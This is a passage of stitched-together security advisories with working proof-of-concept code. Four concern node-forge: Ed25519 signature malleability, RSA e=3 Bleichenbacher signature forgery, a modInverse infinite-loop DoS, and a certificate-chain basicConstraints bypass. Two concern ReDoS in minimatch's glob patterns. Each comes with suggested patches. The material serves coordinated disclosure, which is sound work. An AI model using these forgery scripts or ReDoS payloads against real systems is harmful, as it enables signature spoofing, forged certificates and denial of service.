		"original_valid": true,
		"tweaked_valid": false
	}
}

Proof of Concept

Overview:

• Demonstrates a valid control signature and a forged (S + L) signature in one run.
• Uses Node/OpenSSL as a differential verification baseline.
• Observed output on tested commit:

{
    "forge": {
        "original_valid": true,
        "tweaked_valid": true
    },
    "crypto": {
        "original_valid": true,
        "tweaked_valid": false
    }
}

poc.js

#!/usr/bin/env node
'use strict';

const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
    throw new Error('signature must be a 64-byte Buffer');
  }
  const out = Buffer.from(signature);
  let carry = 0;
  for (let i = 0; i < 32; i++) {
    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
    out[idx] = sum & 0xff;
    carry = sum >> 8;
  }
  return { sig: out, carry };
}

function toSpkiPem(publicKeyBytes) {
  if (publicKeyBytes.length !== 32) {
    throw new Error('publicKeyBytes must be 32 bytes');
  }
  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}

function verifyWithCrypto(publicKey, message, signature) {
  try {
    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
    const ok = crypto.verify(null, message, keyObject, signature);
    return { ok };
  } catch (error) {
    return { ok: false, error: error.message };
  }
}

function toResult(label, original, tweaked) {
  return {
    [label]: {
      original_valid: original.ok,
      tweaked_valid: tweaked.ok,
    },
  };
}

function main() {
  const kp = ed.generateKeyPair();
  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
  const tweaked = addLToS(sig);
  const okTweaked = ed.verify({
    message: MESSAGE,
    signature: tweaked.sig,
    publicKey: kp.publicKey,
  });
  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
  const result = {
    ...toResult('forge', { ok }, { ok: okTweaked }),
    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
  };
  console.log(JSON.stringify(result, null, 2));
}

main();

Suggested Patch

Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).

Here is a patch we tested on our end to resolve the issue, though please verify it on your end:

index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
     return -1;
   }

+  if(!_isCanonicalSignatureScalar(sm, 32)) {
+    return -1;
+  }
+
   for(i = 0; i < n; ++i) {
     m[i] = sm[i];
   }
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
   return mlen;
 }

+function _isCanonicalSignatureScalar(bytes, offset) {
+  var i;
+  // Compare little-endian scalar S against group order L and require S < L.
+  for(i = 31; i >= 0; --i) {
+    if(bytes[offset + i] < L[i]) {
+      return true;
+    }
+    if(bytes[offset + i] > L[i]) {
+      return false;
+    }
+  }
+  // S == L is non-canonical.
+  return false;
+}
+
 function modL(r, x) {
   var carry, i, j, k;
   for(i = 63; i >= 32; --i) {

Resources

• RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4

  • Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Summary

RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions:

• Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5).
• _parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

1. Strict DER byte-consumption (_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
2. _decodePkcs1_v1_5 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps

1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
2. Place and run the PoC script (repro_min.js) with node repro_min.js in the same level as the forge folder.
3. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
4. The script verifies both signatures with:

• forge verify (_parseAllDigestBytes: true), and
• Node/OpenSSL verify (crypto.verify with RSA_PKCS1_PADDING).

7. Confirm output includes:

• control-forge-strict: true
• control-node: true
• forgery (forge library, strict): true
• forgery (node/OpenSSL): false

Proof of Concept

Overview:

• Demonstrates a valid control signature and a forged signature in one run.
• Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default).
• Uses Node/OpenSSL as an differential verification baseline.
• Observed output on tested commit:

control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false

repro_min.js

#!/usr/bin/env node
'use strict';

const crypto = require('crypto');
const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
//   SEQUENCE { OID sha256, NULL },
//   OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
  '300d060960864801650304020105000420',
  'hex'
);

const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
  let h = n.toString(16);
  if (h.length % 2) h = '0' + h;
  const b = Buffer.from(h, 'hex');
  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
  let lo = 0n;
  let hi = 1n;
  while (hi * hi * hi <= n) hi <<= 1n;
  while (lo + 1n < hi) {
    const mid = (lo + hi) >> 1n;
    if (mid * mid * mid <= n) lo = mid;
    else hi = mid;
  }
  return lo;
}
const cbrtCeil = n => {
  const f = cbrtFloor(n);
  return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
  if (len < 0x80) return Buffer.from([len]);
  if (len <= 0xff) return Buffer.from([0x81, len]);
  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}

function forgeStrictVerify(publicPem, msg, sig) {
  const key = forge.pki.publicKeyFromPem(publicPem);
  const md = forge.md.sha256.create();
  md.update(msg.toString('utf8'), 'utf8');
  try {
    // verify(digestBytes, signatureBytes, scheme, options):
    // - digestBytes: raw SHA-256 digest bytes for `msg`
    // - signatureBytes: binary-string representation of the candidate signature
    // - scheme: undefined => default RSASSA-PKCS1-v1_5
    // - options._parseAllDigestBytes: require DER parser to consume all bytes
    //   (this is forge's default for verify; set explicitly here for clarity)
    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
  } catch (err) {
    return { ok: false, err: err.message };
  }
}

function main() {
  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 4096,
    publicExponent: 3,
    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
  });

  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
  const nBytes = Buffer.from(jwk.n, 'base64url');
  const n = toBig(nBytes);
  const e = toBig(Buffer.from(jwk.e, 'base64url'));
  if (e !== 3n) throw new Error('expected e=3');

  const msg = Buffer.from('forged-message-0', 'utf8');
  const digest = crypto.createHash('sha256').update(msg).digest();
  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);

  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
  const k = nBytes.length;
  // ffCount can be set to any value at or below 111 and produce a valid signature.
  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
  // However, current versions of node forge do not check for this.
  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
  const ffCount = 0; 
  // `garbageLen` affects DER length field sizes, which in turn affect how
  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
  // A small cap (8) is enough here: DER length-size transitions are discrete
  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
  let garbageLen = 0;
  for (let i = 0; i < 8; i += 1) {
    const gLenEnc = derLen(garbageLen).length;
    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
    const seqLenEnc = derLen(seqLen).length;
    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
    const next = k - fixed;
    if (next === garbageLen) break;
    garbageLen = next;
  }
  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
  const prefix = Buffer.concat([
    Buffer.from([0x00, 0x01]),
    Buffer.alloc(ffCount, 0xff),
    Buffer.from([0x00]),
    Buffer.from([0x30]), derLen(seqLen),
    algAndDigest,
    Buffer.from([0x04]), derLen(garbageLen)
  ]);

  // Build the numeric interval of all EM values that start with `prefix`:
  // - `low`  = prefix || 00..00
  // - `high` = one past (prefix || ff..ff)
  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
  const suffixLen = k - prefix.length;
  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
  const high = low + (1n << BigInt(8 * suffixLen));
  const s = cbrtCeil(low);
  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

  const sig = toBuf(s, k);

  const controlMsg = Buffer.from('control-message', 'utf8');
  const controlSig = crypto.sign('sha256', controlMsg, {
    key: privateKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  });

  // forge verification calls (library under test)
  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
  const forgedForge = forgeStrictVerify(publicKey, msg, sig);

  // Node.js verification calls (OpenSSL-backed reference behavior)
  const controlNode = crypto.verify('sha256', controlMsg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, controlSig);
  const forgedNode = crypto.verify('sha256', msg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, sig);

  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
  console.log('control-node:', controlNode);
  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
  console.log('forgery (node/OpenSSL):', forgedNode);
}

main();

Suggested Patch

• Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in _decodePkcs1_v1_5 before accepting the block.
• Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
             error.errors = errors;
             throw error;
           }
+
+          if(obj.value.length != 2) {
+            var error = new Error(
+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+              'a valid RSASSA-PKCS1-v1_5 package.');
+            error.errors = errors;
+            throw error;
+          }
           // check hash algorithm identifier
           // see PKCS1-v1-5DigestAlgorithms in RFC 8017
           // FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
       }
       ++padNum;
     }
+
+    if (padNum < 8) {
+      throw new Error('Encryption block is invalid.');
+    }
   } else if(bt === 0x02) {
     // look for 0x00 byte
     padNum = 0;

Resources

• RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8

  • This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.

• RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
• lib/rsa.js key.verify(...) at lines ~1139-1223.
• lib/rsa.js _decodePkcs1_v1_5(...) at lines ~1632-1695.

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Summary

A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.
Affected Package

Package name: node-forge (npm: node-forge)
Repository: https://github.com/digitalbazaar/forge
Affected versions: All versions (including latest)
Affected file: lib/jsbn.js, function bnModInverse()
Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library

Vulnerability Details

Type: Denial of Service (DoS)
CWE: CWE-835 (Loop with Unreachable Exit Condition)
Attack vector: Network (if the application processes untrusted input that reaches modInverse)
Privileges required: None
User interaction: None
Impact: Availability (process hangs indefinitely)
Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)

Root Cause Analysis

The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.
Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop.
The relevant code path in lib/jsbn.js:

javascriptfunction bnModInverse(m) {
  // ... setup ...
  // No check for this == 0
  // Enters Extended Euclidean Algorithm loop that never terminates when this == 0
}

Attack Scenario

Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:

DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.
Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters.
Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().

A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.

Proof of Concept

Environment Setup

mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge

Reproduction (poc.js)
A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.

mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
# Save the script below as poc.js, then run:
node poc.js

'use strict';
const { spawnSync } = require('child_process');

const childCode = `
  const forge = require('node-forge');
  // jsbn may not be auto-loaded; try explicit require if needed
  if (!forge.jsbn) {
    try { require('node-forge/lib/jsbn'); } catch(e) {}
  }
  if (!forge.jsbn || !forge.jsbn.BigInteger) {
    console.error('ERROR: forge.jsbn.BigInteger not available');
    process.exit(2);
  }
  const BigInteger = forge.jsbn.BigInteger;
  const zero = new BigInteger('0', 10);
  const mod = new BigInteger('3', 10);
  // This call should throw or return 0, but instead loops forever
  const inv = zero.modInverse(mod);
  console.log('returned: ' + inv.toString());
`;

console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();

const result = spawnSync(process.execPath, ['-e', childCode], {
  encoding: 'utf8',
  timeout: 5000,
});

if (result.error && result.error.code === 'ETIMEDOUT') {
  console.log('[VULNERABLE] Child process timed out after 5s');
  console.log('  -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
  process.exit(0);
}

if (result.status === 2) {
  console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
  console.log('  -> Check your node-forge installation');
  process.exit(1);
}

if (result.status === 0) {
  console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
  process.exit(1);
}

console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log('  stderr:', result.stderr.trim());
process.exit(1);

Expected Output

[*] Testing: BigInteger(0).modInverse(3)
[*] Expected: throw an error or return quickly
[*] Spawning child process with 5s timeout...

[VULNERABLE] Child process timed out after 5s
  -> modInverse(0, 3) entered an infinite loop (DoS confirmed)
Verified On

node-forge v1.3.1 (latest at time of writing)
Node.js v18.x / v20.x / v22.x
macOS / Linux / Windows

Impact

Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests.
Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.

Suggested Fix

Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js:

function bnModInverse(m) {
  var ac = m.isEven();
  // Add this check:
  if (this.signum() == 0) {
    throw new Error('BigInteger has no modular inverse: input is zero');
  }
  // ... rest of the existing implementation ...
}

Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}

Results:

• Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280)
• Certificate with basicConstraints.cA=false: correctly rejected
• Certificate with keyUsage (no keyCertSign): correctly rejected
• Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for:

• Custom PKI / certificate pinning implementations
• S/MIME / PKCS#7 signature verification
• IoT device certificate validation
• Any non-native-TLS certificate chain verification

CVE Precedent

This is the same vulnerability class as:

• CVE-2014-0092 (GnuTLS) — certificate verification bypass
• CVE-2015-1793 (OpenSSL) — alternative chain verification bypass
• CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance

Not a Duplicate

This is distinct from:

• CVE-2025-12816 (ASN.1 parser desynchronization — different code path)
• CVE-2025-66030/66031 (DoS and integer overflow — different issue class)
• GitHub issue #1049 (null subject/issuer — different malformation)

Suggested Fix

Add an explicit check for absent basicConstraints on non-leaf certificates:

// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
  error = {
    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
    error: pki.certificateError.bad_certificate
  };
}

Disclosure Timeline

• 2026-03-10: Report submitted via GitHub Security Advisory
• 2026-06-08: 90-day coordinated disclosure deadline

Credits

Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch

Summary

minimatch is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits.

The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

PoC

When minimatch compiles a glob pattern, each * becomes [^/]*? in the generated regex. For a pattern like ***************X***:

/^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/

When the test string doesn't contain X, the regex engine must try every possible way to distribute the characters across all the [^/]*? groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential.

Impact

Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This includes:

• File search/filter UIs that accept glob patterns
• .gitignore-style filtering with user-defined rules
• Build tools that accept glob configuration
• Any API that exposes glob matching to untrusted input

---

Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.

---

Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern	Generated regex
*(a|b)	/^(?:a|b)*$/
*(*(a|b))	/^(?:(?:a|b)*)*$/
*(*(*(a|b)))	/^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b))))	/^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern	Input	Time
*(*(a|b))	a x30 + z	~68,000ms
*(*(*(a|b)))	a x20 + z	~124,000ms
*(*(*(*(a|b))))	a x25 + z	~116,000ms
*(a|a)	a x25 + z	~2,000ms

Depth inflection at fixed input a x16 + z:

Depth	Pattern	Time
1	*(a|b)	0ms
2	*(*(a|b))	4ms
3	*(*(*(a|b)))	270ms
4	*(*(*(*(a|b))))	115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.

---

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
